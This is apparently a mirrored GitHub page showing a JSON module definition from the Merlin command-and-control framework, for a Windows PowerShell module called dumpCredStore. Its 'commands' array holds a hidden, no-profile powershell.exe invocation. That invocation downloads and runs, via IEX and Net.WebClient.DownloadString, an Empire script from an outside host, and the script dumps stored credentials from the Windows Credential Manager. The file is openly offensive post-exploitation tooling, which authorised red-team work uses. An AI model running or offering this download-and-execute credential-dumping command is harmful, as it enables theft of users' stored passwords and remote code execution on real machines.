mirror of
https://github.com/Ne0nd0g/merlin
synced 2026-06-08 11:59:20 +00:00
Ne0nd0g
202c6a185d
show credits. Added new exported Run function to the Agent DLL. Run function takes URL as an argument.
29 lines
1.2 KiB
JSON
29 lines
1.2 KiB
JSON
{
|
|
"base": {
|
|
"type": "standard",
|
|
"name": "dumpCredStore",
|
|
"author": ["Russel Van Tuyl (@Ne0nd0g)"],
|
|
"credits": ["JimmyJoeBob Alooba", "BeetleChunks"],
|
|
"path": ["windows", "x64", "powershell", "credentials", "dumpCredStore"],
|
|
"platform": "windows",
|
|
"arch": "x64",
|
|
"lang": "PowerShell",
|
|
"privilege": false,
|
|
"notes": "This modules is a modified and stripped down version of CredMan.ps1, written by JimmyJoeBob Alooba.",
|
|
"remote": "https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/dumpCredStore.ps1",
|
|
"local": ["data", "src", "Empire", "data", "module_source","credentials","dumpCredStore.ps1"],
|
|
"options": [],
|
|
"description": "PowerShell script that provides access to the Win32 Credential Manager API used for management of stored credentials.",
|
|
"commands": [
|
|
"powershell.exe",
|
|
"-nop",
|
|
"-w 0",
|
|
"\"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/dumpCredStore.ps1')\""
|
|
]
|
|
},
|
|
"powershell": {
|
|
"disableav": false,
|
|
"obfuscate": false,
|
|
"base64": false
|
|
}
|
|
} |